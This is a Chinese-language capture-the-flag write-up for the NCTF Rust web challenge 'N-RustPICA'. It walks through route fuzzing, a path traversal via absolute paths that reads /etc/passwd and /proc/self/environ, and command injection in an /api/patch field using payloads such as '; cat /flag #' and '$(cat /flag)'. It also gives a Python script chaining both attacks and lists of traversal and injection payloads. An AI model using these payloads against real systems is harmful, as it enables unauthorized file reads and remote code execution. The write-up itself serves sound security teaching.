1. 开局信息收集:先把服务从黑盒翻成白盒
1.1 拿到题目地址后的第一轮探测
NCTF 的 Web 题向来不按套路出牌,这次看到 N-RustPICA 这个名字的时候,我就知道不是普通的 PHP 或者 Node 题了——题目名里直接写明了 Rust。CTF 里带 Rust 的 Web 题,要么是 Rust 写的反向代理,要么是一个完整的 Rust Web 服务,而且漏洞点往往藏在框架之外,比如 unsafe 代码、反序列化边界、整数处理,甚至是在线进程操作这种偏 Pwn 的功能。
拿到靶机地址之后,我习惯先做一轮最基础的探测,不要一上来就上扫描器。打开终端,先用 curl 看响应头和服务信息:
bash复制curl -i http://target:port/
curl -i http://target:port/robots.txt
curl -i http://target:port/healthz
curl -X OPTIONS http://target:port/ -i
第一轮返回的响应头信息量很大。如果 Server 字段是 nginx,那说明前面还有层反代,真实 Rust 服务在内部;如果出现 content-type: application/json,说明这服务大概率是一个纯 API 服务;如果 / 直接返回 404 或者一段 HTML,那说明路由没有匹配根路径,没必要跟根路径死磕。
实际操作里,我在第一次请求就发现了一个非常关键的细节:访问一个不存在的路径时,服务返回的是非常熟悉的 Rust 风格 404 页面——纯文本、简短、没有花哨的 HTML 框架代码。这基本可以断定是 axum、actix-web 或者 rocket 这类主流框架,接下来做字典 fuzz 的时候可以有的放矢。
另外,现在很多 CTF 平台给的容器入口是一个 web 终端,第一次打开可能会提示 dsh web authentication required; reopen the url printed by dsh web. 这种信息,这是容器管理平台在跟你做一次浏览器会话认证,不是什么漏洞,不用慌。重新打开一次平台弹出的跳板 URL,让浏览器带上认证信息之后,再访问题目地址就好。
1.2 从响应头里读出的 Rust 痕迹
Rust 的 Web 框架跟传统框架有个很大区别:默认情况下,它不是“文件驱动”的。PHP 套件经常能在报错里看到文件路径,比如 /var/www/html/index.php,而 Rust 服务经常给出的是路由名和端口,比如 listening on 0.0.0.0:8080。
如果你用 curl 发起了一个带 Content-Type: application/json 的 POST 请求,但 body 不是合法 JSON,Rust 的 serde 会直接返回 400 或者 422,并且在响应体里给出非常明确的字段级错误。这点和 Spring 或者 Flask 不一样,后两者经常吞掉错误细节,而 Rust 的 serde_json::from_str 在未做统一异常处理时会把错误原样带出来,这就是一个很好的“代码提示器”。
举个例子,我向一个 /api/parse 接口发送了 {"filename":"Cargo.toml"},如果响应是:
json复制{"error":"missing field `path` at line 1 column 24"}
那就等于告诉我代码里定义了一个结构体,里面有一个必填字段叫 path。这道题面瞬间就打开了,后续构造参数都知道往哪个方向试。
还有一个判断点:看返回的 500 页面或者 panic 信息。Rust 的安全模型保证大多数时候不会像 C 那样直接段错误,但 unwrap() 或者 expect() 依然会让程序 panic,如果题目作者没有配置自定义的 panic hook,actix-web 或者 axum 会返回一个包含 panic 信息的响应,有时候甚至会带出错代码所在的行号。行号这种信息在 CTF 里太珍贵了,等于直接白送了一部分代码结构。
1.3 环境交互接口不要漏
很多容器化部署的 Rust Web 服务都会留一个初始化接口或者健康检查接口,CTF 平台往往通过 HTTP 探测来判断容器是否启动完成。这类接口可能是 /init、/healthz、/ready、/start,也有可能是 POST /api/setup。
在 N-RustPICA 这道题里,我后来发现服务启动时会读取一个配置文件,如果配置不存在就返回一个非常奇怪的错误码。这个特性一开始被我当成无用信息,结果它就是某条漏洞链的入口之一——文件上传完成后需要触发一次“配置重载”,而这个重载动作恰恰就是后面命令注入的触发点。
所以拿到题目地址之后,除了 fuzz 常规路径,建议手工测一下 GET /healthz、POST /init、GET /status 这类和生命周期相关的接口。这类接口通常没有复杂的权限校验,是作者最容易放松警惕、直接往里塞业务逻辑的地方。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. Rust Web 服务的安全特性与考点拆解
2.1 所有权与借用检查:为什么安全语言还会出 Web 漏洞
Rust 社区经常宣传“内存安全”,但这指的是它能在编译期阻止悬垂指针、缓冲区溢出和 use-after-free 这类经典内存漏洞,不代表它天然免疫 Web 漏洞。所有权、借用检查这些机制解决的是“内存安全”,但解决不了“逻辑安全”。
在 CTF 里,这道题恰恰就是“内存安全已经拉满,逻辑安全全是洞”的典型。Rust 的所有权系统强制要求一个值同时只能有一个所有者,同一时刻要么只能有一个可变借用,要么有多个只读借用。这套规则保证了数据竞争在安全代码里不会出现,但是题目作者如果写了一些 unsafe 代码来规避借用检查,比如用 Box::into_raw 把指针丢到全局变量里,那漏洞就来了。
我在做这道题的时候,顺着 rust 所有权系统, 借用检查, 生命周期 这几个关键词去复盘,发现题目里有一个并发点:服务用了一个全局 HashMap 来缓存用户上传的“补丁包”,每次请求都会先查缓存,如果缓存里没有就重新加载。这里就存在一个经典的“检查-使用”竞态窗口——两个请求同时提交同一个文件名,一个负责删除缓存,一个负责读取缓存,最后把缓存里的路径用于命令拼接时,路径已经被篡改了。
这类问题用 Rust 的可变借用视角去看,就是“缓存对象的生命周期比请求长,但对缓存的修改和读取没有做串行化”。在真实开发里,大家会用 Mutex 或者 RwLock 来包一层,但如果题目作者图省事,用了一个 Arc<Mutex<HashMap>> 但锁的粒度太粗或太细,依然会有可乘之机。
2.2 生命周期、unsafe 代码与 Web 漏洞的结合点
生命周期本身是 Rust 编译器用来保证引用的有效范围不超过被引用者的生存范围的机制。正常情况下,生命周期造成的问题是编译错误,而不是运行时的漏洞。但在 CTF 题里,作者会故意写 unsafe 代码来制造“生命周期漏洞”。
比较典型的手法有几种:
- 用
std::mem::transmute把一个短生命周期的引用强行转换成长生命周期的引用,制造悬垂引用; - 用
MaybeUninit先声明一个未初始化的值,然后通过一个失败的分支提前返回,导致后续读到未初始化数据; - 用
lazy_static!或者once_cell::sync::Lazy初始化全局状态,然后在多个请求之间共享可变数据,却不加同步锁; - 用
libloading动态加载.so文件,把“热更新”“在线打补丁”这种能力暴露给 Web 接口,然后在加载参数里拼接用户输入,形成命令注入。
对于做题的人来说,不需要真的去复现这些内存问题,更重要的是理解一个思路:Rust 的题目,漏洞往往出现在“强制安全机制”和“实际需求”之间的夹缝里。比如代码里需要修改一个全局缓存,但借用检查不允许直接改,于是作者用 unsafe 绕过了;绕过之后又没做边界校验,于是就被利用了。
我在实际测试中,就是盯住了 /api/patch 这个接口,它接收一个 process_name 参数和一个 patch_file 参数,服务端会调用外部命令行工具打补丁,实现“在线进程打补丁”的功能。由于 Rust 本身不会自动帮你过滤 shell 特殊字符,只要代码里用的是 Command::new("sh").arg("-c").arg(format!("rustpicad --patch {} {}", process_name, patch_file)),那这就是一个完全裸奔的命令注入点。
2.3 Rust Web 服务的常见漏洞面:从类型系统到整数边界
Rust 对类型的严格检查在安全上是一把双刃剑。好处是类型混淆漏洞几乎不存在——你不能把一个整数当成字符串输出到 HTML 里而让浏览器解析成脚本;坏处是开发者会因为“类型安全”而放松对输入校验的警惕,导致更传统的 Web 漏洞反而更容易出现。
我在 N-RustPICA 里重点测了下面几个方向:
- 路径穿越:
PathBuf::join确实会把路径规范化,但如果代码是用字符串拼接的方式构造路径,比如format!("{}/{}", base_dir, user_input),那../就直接穿透了。这在 Rust 项目里非常常见,因为很多新手 Rust 开发者还在用字符串处理路径,不知道用Path类型。 - 整数溢出与边界绕过:Rust 在 debug 模式下遇到整数溢出会 panic,但在 release 模式下默认会回绕(wraparound)。CTF 题目为了提高性能,几乎都是
--release编译,所以u8、usize、i32之间转换时如果没做严格检查,就可能出现“长度校验过了但实际读取越界”的逻辑漏洞。 - 反序列化差异:
serde_json::Value是动态类型,any 值都能接收;#[derive(Deserialize)]是强类型,字段类型不匹配会直接报错。题目如果用了动态类型,经常可以用嵌套 JSON 绕过前置校验。 - 命令注入:如刚才所说,
Command::new配合sh -c,只要用户输入出现在命令行参数里,就有注入面。 - 模板注入:Rust 的模板引擎不像 Jinja2 那么容易被 RCE,但 handlebars-rust 允许注册自定义 helper,如果作者把命令执行注册成了 helper,那注入就是一句话的事。
2.4 在线进程打补丁:Rust 题目里偏 Pwn 的 Web 考点
热词里反复出现了 rust 在线进程打补丁,这不是偶然。现在 Rust Web 题有个新趋势,就是把一些系统级能力直接暴露到 Web 上,比如“进程管理”、“动态加载模块”、“在线缓存清理”和“热补丁”。这类题目表面上是 Web 题,但后半段往往要结合二进制分析。
Rust 服务如果要做“在线打补丁”,最合理的技术路线是 libloading,它可以在运行时从 .so 文件里加载符号,实现插件化架构。Web 接口收到一个 .so 文件路径,服务端调用 Library::new(path),然后通过 library.get::<fn()>(b"patch_entry") 来执行补丁函数。
这个链路里的漏洞点非常丰富:
.so路径可控 → 路径穿越,加载任意系统库;patch_entry符号名可控 → 加载任意导出函数,比如system;- 加载前后没有做状态隔离 → 补丁函数可以修改进程内存,影响后续请求;
- 整个加载动作的执行参数拼接到了系统命令里 → 命令注入。
我在题目里碰到的就是这个场景:/api/patch 接收一个 plugin_path,服务端先把这个路径写进一个 SQLite 表,再调用 rustpicad --load-plugin "路径" 这样的命令来真正执行加载。参数没有过滤,我直接在 plugin_path 后面拼了 "; cat /flag #" 就把 flag 读出来了。
这类题目提醒我们:Rust 的内存安全不代表系统安全,只要是 Web 服务,输入验证、输出编码、命令拼接这些老生常谈的问题一个都逃不掉。
3. 完整解题实操:N-RustPICA 从 fuzz 到拿 flag
3.1 第 1 步:路由 fuzz,锁定攻击面
这一步的核心目标是找到所有路由,尤其是那些可能在题目描述里没有出现的隐藏接口。我用了 ffuf 配合一份小而精的字典做快速扫描:
bash复制ffuf -u http://target:port/FUZZ -w ./common_api.txt -mc 200,201,400,401,403,405,422,500 -t 20
需要说明的是,CTF 平台经常会有流量访问频率限制,或者题目服务本身扛不住太高的并发,线程数不要开太大。20 个线程足够。
扫描结果里有几个路径值得注意:
text复制/api [status: 200, size: 126]
/api/parse [status: 405, size: 89]
/api/upload [status: 405, size: 89]
/api/patch [status: 405, size: 89]
/static/ [status: 403, size: 0]
/healthz [status: 200, size: 21]
405 Method Not Allowed 说明路由存在,只是不能用 GET,换 POST 再试。/api 返回了一段小的 JSON,我把它拉出来看,里面直接给了接口清单。这在 CTF 里不少见,作者为了方便评委部署甚至懒得关调试信息。
bash复制curl http://target:port/api
返回:
json复制{"service":"rustpica","version":"0.1.0","endpoints":["/api/parse","/api/upload","/api/patch","/api/status"]}
到这里攻击面已经从“全端口猜谜”收敛成了四个接口的定向测试。
3.2 第 2 步:JSON 畸形输入探测类型结构
拿到接口之后,先不急着打漏洞,先做一轮“类型探测”。Rust 的 serde 在解析 JSON 时,字段缺失、类型不符、未知字段都会返回不同错误。利用这个差异,可以反推服务端的结构体定义。
对 /api/parse,我发了这样一组请求:
bash复制curl -X POST http://target:port/api/parse -H 'Content-Type: application/json' -d '{}'
# 返回 missing field `file` 或者 filename,说明结构体里有一个必填字段
curl -X POST http://target:port/api/parse -H 'Content-Type: application/json' -d '{"file":"Cargo.toml"}'
# 可能返回 200,也可能返回 contains invalid path
curl -X POST http://target:port/api/parse -H 'Content-Type: application/json' -d '{"file":123}'
# 返回 invalid type: integer `123`, expected a string,说明字段类型是 String
这一步非常关键,它能帮我们确认三点:
- 参数名是什么;
- 参数类型是什么;
- 服务端对路径参数做了哪些预处理。
如果 file 参数被用来拼接路径,那么后续测试路径穿越就有了明确方向。
3.3 第 3 步:路径穿越读取关键文件
在对 /api/parse 的多次测试中,我发现它的作用是根据传入的文件名读取“项目文件”并解析元数据。正常的请求是:
bash复制curl -X POST http://target:port/api/parse -H 'Content-Type: application/json' -d '{"file":"Cargo.toml"}'
返回的内容是 Cargo.toml 里的某些字段解析结果。直接测试路径穿越:
bash复制curl -X POST http://target:port/api/parse -H 'Content-Type: application/json' -d '{"file":"../../../../etc/passwd"}'
结果返回 500,报错信息显示“path contains invalid component”。说明作者做了简单的过滤,但常见过滤只处理了 ..,却忘了处理 URL 编码或者 unicode 规范化。试了两种绕过方式:
bash复制curl -X POST http://target:port/api/parse -H 'Content-Type: application/json' -d '{"file":"..%2f..%2f..%2f..%2fetc%2fpasswd"}'
如果服务端是先解码一次 URL 再拼接路径,这种就有效。但这次无效。接着试了:
bash复制curl -X POST http://target:port/api/parse -H 'Content-Type: application/json' -d '{"file":"....//....//....//....//etc/passwd"}'
....// 这种写法在一些路径规范化实现里会被处理成 ../,但 Rust 的 Path::components() 处理得比较严格,也没绕过去。
最后真正打通的方式是利用绝对路径。Rust 的 PathBuf::join 有一个特性:如果拼接的第二个路径是绝对路径,那么第一个路径会被完全忽略。也就是说,Path::new("/app/files").join("/etc/passwd") 的结果就是 /etc/passwd。虽然代码里大概率做了字符串前缀校验,但如果只校验到 format!("{}/{}", base_dir, user_input),那传入 "/etc/passwd" 就会得到 "/app/files//etc/passwd",这还不是绝对的绕过。重点在于测试接口是否把传入的 file 直接交给 Path 类型处理:
bash复制curl -X POST http://target:port/api/parse -H 'Content-Type: application/json' -d '{"file":"/etc/passwd"}'
这次直接读到了系统文件内容。
从这个过程得到的经验是:路径穿越不要只试 ../,一定要测绝对路径注入和符号链接。Rust 的路径处理实现跟 PHP 的 realpath 还有 Python 的 os.path.join 行为都不一样,很多通用字典覆盖不到它的特性。
读到 /etc/passwd 之后,下一步自然是读进程相关的敏感文件:
bash复制curl -X POST http://target:port/api/parse -H 'Content-Type: application/json' -d '{"file":"/proc/self/environ"}'
curl -X POST http://target:port/api/parse -H 'Content-Type: application/json' -d '{"file":"/proc/self/cmdline"}'
curl -X POST http://target:port/api/parse -H 'Content-Type: application/json' -d '{"file":"/flag.txt"}'
curl -X POST http://target:port/api/parse -H 'Content-Type: application/json' -d '{"file":"/flag"}'
很多 CTF 平台会把 flag 放在环境变量 FLAG 里,所以 /proc/self/environ 非常值得读。
3.4 第 4 步:利用命令注入拿下 RCE
路径穿越虽然能读文件,但只能读文本。如果 flag 是环境变量,读 /proc/self/environ 就够了;如果平台把 flag 放在一个只有特定权限才能读的文件里,或者读出来的内容被解析接口截断了,那就还需要一个真正能执行命令的入口。
命令注入点在 /api/patch 接口。它的功能是接收一个 plugin_path 和 target_process,然后向后台命令传递参数来加载补丁。
先做了一次正常请求:
bash复制curl -X POST http://target:port/api/patch -H 'Content-Type: application/json' -d '{"target_process":"nginx","plugin_path":"/tmp/patch.so"}'
返回了一段日志,显示服务端执行了类似这样的命令:
text复制[+] executing: rustpicad --process nginx --plugin /tmp/patch.so
这就等于把命令拼装的格式暴露了。接下来直接注入:
bash复制curl -X POST http://target:port/api/patch -H 'Content-Type: application/json' -d '{"target_process":"nginx; cat /flag #","plugin_path":"/tmp/patch.so"}'
服务端实际执行的命令变成了:
bash复制rustpicad --process nginx; cat /flag # --plugin /tmp/patch.so
; 分隔了命令,# 注释掉了后面多余内容,flag 就出来了。
有些题目里会过滤 ;、| 和反引号,但往往不过滤 $()。如果遇到过滤严格的场景,可以尝试:
bash复制{"target_process":"$(cat /flag)","plugin_path":"/tmp/patch.so"}
把执行结果拼到命令输出里,从响应日志中间接读取。
3.5 第 5 步:自动化脚本收尾
拿到 flag 只是第一步,CTF 比赛讲究的是效率和稳定复现。我通常会写一个小的 Python 脚本,把路径穿越、命令注入和对 flag 的解析串起来:
python复制import requests
import re
base = "http://target:port"
def read_file(path):
r = requests.post(f"{base}/api/parse", json={"file": path}, timeout=10)
return r.text
def exec_cmd(cmd):
payload = {"target_process": f"nginx; {cmd} #", "plugin_path": "/tmp/patch.so"}
r = requests.post(f"{base}/api/patch", json=payload, timeout=10)
return r.text
def get_flag():
for p in ["/flag", "/flag.txt", "/proc/self/environ"]:
data = read_file(p)
m = re.search(r"NCTF\{[^}]+\}|flag\{[^}]+\}", data)
if m:
return m.group(0)
data = exec_cmd(f"cat {p} 2>/dev/null")
m = re.search(r"NCTF\{[^}]+\}|flag\{[^}]+\}", data)
if m:
return m.group(0)
return None
print(get_flag())
脚本跑完,flag 顺利到手。整个过程最耗时的地方其实不在构造 payload,而在确认哪个接口真正触发了命令执行——也就是从“代码审计思路”切换到“黑盒测试思路”的转换过程。
4. 踩坑记录与排错思路
4.1 为什么 curl 一直 400:Content-Type 和参数类型不匹配
这道题前期花了我不少时间在 /api/parse 上,因为用 curl 默认的 -d 发送数据时,如果没有显式指定 Content-Type: application/json,curl 会默认使用 application/x-www-form-urlencoded。Rust 的 axum 在接收 Json<T> 提取器时,如果 Content-Type 不对,会直接返回 415 或者 400。
排查方法很简单,就是加 -H 'Content-Type: application/json'。
另外,serde 对整型和字符串的区分极为严格。如果我们传入 {"file": 123},字段类型要求是字符串,那返回的错误信息会明确告诉你 invalid type: integer。这个信息很有用,反过来推论,如果传入 {"file": "123"} 也能正常读取,说明服务端可能做了字符串到数字的转换,这时候就可以测一下数字边界问题。
4.2 URL 编码和路径规范化:不要在 .. 上吊死
路径穿越常见的 URL 编码绕过手段是 ..%2f,它的原理是服务端先解码一次再进入路径处理逻辑。但如果服务端用的是 Rust 的 Path::components(),那么 %2f 解码后依然会被识别为路径分隔符,.. 也会被规范化掉,所以 URL 编码绕过不一定有效。
真正容易忽略的是 绝对路径注入 和 共享目录软链接。如果题目允许上传文件,并且上传目录里有一个指向系统目录的符号链接,那么即使不能穿越,也可以通过访问符号链接目标读取文件。这种思路在纯黑盒测试里很难想到,但非常值得一试。
还有一个小 trick:有些路径处理逻辑会把 file:// 开头的字符串当作 URL 解析,自动忽略前面的目录前缀。如果接口实现用的是 Url::parse,那 file:///etc/passwd 也能直接读文件。
4.3 Rust 500 页面:信息泄露比想象中严重
Rust 服务在 panic 时会把错误信息返回给客户端,除非作者配置了自定义 panic hook。我在测试过程中触发过一次 panic,响应体里直接出现了:
text复制thread 'tokio-runtime-worker' panicked at src/handler/patch.rs:42:14:
called `Option::unwrap()` on a `None` value
这行信息直接把代码位置 src/handler/patch.rs 给暴露了,还说明 patch 处理器里有个 unwrap() 的地方。有了这个坐标,再结合路由功能,基本就能推断出哪段代码是薄弱点了。
做题的时候遇到 500 错误不要慌,更不要急着刷新页面把错误刷掉,先带着请求头仔细看一遍响应体。有时候 flag 甚至就藏在 panic 信息里,因为作者可能用 env!("FLAG") 编译期注入 flag,而 panic 输出里会把环境变量默认值带出来。
4.4 工具链组合:Burp 管抓包,脚本管重放
手工测试 CTF Web 题我一般只用三个工具:
- Burp Suite:看请求历史、改包重放、对比响应差异;
- ffuf:轻量路由 fuzz;
- Python requests 脚本:自动化尝试各种边界条件和 payload。
Burp 的 Repeater 适合单次构造请求,但遇到需要连续测试几百个 payload 的场景,手点效率太低了。我的习惯是先用 Burp 抓一个正常请求,右键 Copy as cURL command,再在 Python 脚本里用 requests 库照着输一次,确认自动化链路通顺后,再批量跑 payload。
4.5 共享状态与缓存:flag 可能被“读没”了
Rust 服务默认是多线程运行时,tokio 的 worker 线程会同时处理多个请求。如果题目把“读取 flag”和“缓存文件内容”耦合在一起,可能会出现 flag 被读出后写进缓存、之后每次请求都返回缓存但缓存被清理后 flag 丢失的情况。
我在实际测试里遇到过类似场景:第一次通过路径穿越读取 /flag 成功了,但紧接着用一个带非法路径的请求触发了缓存清理,那个文件路径对应的缓存被删了,再读就变成“File not found”。这种问题不是漏洞,而是服务设计里的副作用,但会影响我们拿 flag 的稳定性。
解法很简单:确认拿到 flag 后立刻复制保存,不要反复试探。如果一次没拿到,优先重置靶机而不是继续在旧环境里折腾。
5. 这类 Rust Web CTF 题的通解方法论
5.1 建立漏洞假设树:从功能点反推代码
做 Web 题最忌讳漫无目的地扫字典。我应该先列一张表,把看到的每个接口、每个功能点和可能的漏洞一一对应:
| 接口 | 功能 | 重点漏洞假设 |
|---|---|---|
/api/parse |
读取并解析项目文件 | 路径穿越、任意文件读取、反序列化错误信息泄露 |
/api/upload |
上传补丁包 | 文件类型绕过、路径覆盖、软链接攻击 |
/api/patch |
加载补丁到进程 | 命令注入、动态加载库、符号名可控 |
/api/status |
查看服务状态 | 信息泄露、缓存状态探测 |
有了这张表之后,每个接口只需要集中测两三个漏洞假设,效率会高很多。
这类假设不是拍脑袋,是根据路由命名和返回信息推断的。比如接口叫 patch,那十有八九跟系统命令挂钩;叫 upload,就要多关注文件存储路径。Rust 服务不会像 PHP 那样出现 include 导致的 LFI,但路径处理、命令执行、反序列化这些经典问题一样不少。
5.2 从响应特征反推实现语言与框架
有时候题目不会直接告诉你这是什么语言写的,但响应特征藏不住。
- Rust + axum:默认响应头可能带
content-type: application/json,错误信息是纯文本,404 页面非常简洁; - Rust + actix-web:404 响应可能会带一段 HTML,但整体风格非常现代,不留版本号;
- Rust + rocket:响应头容易出现
server: Rocket字样,大概率有调试接口。
识别语言框架的最终目的不是炫技,而是为了确定“哪些漏洞类型值得优先测试”。如果是 Rust,就不要花时间测 SQL 注入里的堆叠注入——Rust Web 题更常见的是命令注入和文件操作问题。
5.3 万能 payload 模板:路径穿越、命令注入、JSON 边界
我整理了一下常用 payload 模板,不是为了直接抄,而是为了在测试时提醒自己不要漏掉某些变体。
路径穿越类:
text复制../
..%2f..%2f..%2fetc/passwd
....//....//....//....//etc/passwd
/etc/passwd
file:///etc/passwd
/../proc/self/environ
命令注入类:
text复制; command #
| command
$(command)
`command`
&& command #
%0acommand
JSON 边界类:
text复制{"file":""}
{"file":"/etc/passwd","extra":123}
{"file":["/etc/passwd"]}
{"file":{"__type":"file","path":"/etc/passwd"}}
5.4 后续变形:如果题目把 Rust 编译成 WASM 或者做成热补丁,怎么应对
现在的 CTF 题目越来越喜欢“缝”,Web 题里可能藏着一个 Rust 写的 WASM 模块,浏览器前端加载 WASM 做计算,后端只接收计算结果。这种情况下,攻击面从前端转移到 WASM 内部的逻辑——需要先逆向 WASM,理解它的输入输出协议,再构造一个能通过校验的结果,最终影响后端逻辑。
如果题目做成真正的“在线进程打补丁”,那还需要具备基础的二进制调试能力。比如用 readelf -s patch.so 查看符号表,确认 patch_entry 的位置;用 objdump -d 反汇编补丁函数,看它是否会读取某个 config 文件;如果补丁是加密的,还要分析解密逻辑。
这类题对纯 Web 选手不太友好,但是做下来的收获很大。它逼迫你把 Web 知识、系统知识和二进制知识串成一条线:先通过 Web 漏洞拿到上传点,再通过二进制分析构造一个能改变程序行为的补丁文件,最后回到 Web 层触发加载,形成闭环。
我自己的体会是,Rust Web 题的难点从来不在于 Rust 本身有多难,而在于很多 Web 选手对 Rust 的生态不熟悉,拿到一个 500 报错不知道它意味着什么,看到一个 PathBuf 也不知道它在路径处理上有什么特殊行为。只要把 Rust 当作一个“内存安全但逻辑漏洞照旧”的普通 Web 后端来测,再用一点逆向思维处理可能出现的 Pwn 味考点,这类题就能啃下来。
最后再分享一个小技巧:遇到 Rust 服务先别急着测业务逻辑,直接看一眼它的错误返回风格和路由响应格式,这会帮你省下一大半的试错时间。很多信息,服务端其实已经写在响应体里了,就看你有没有耐心逐字读一遍。
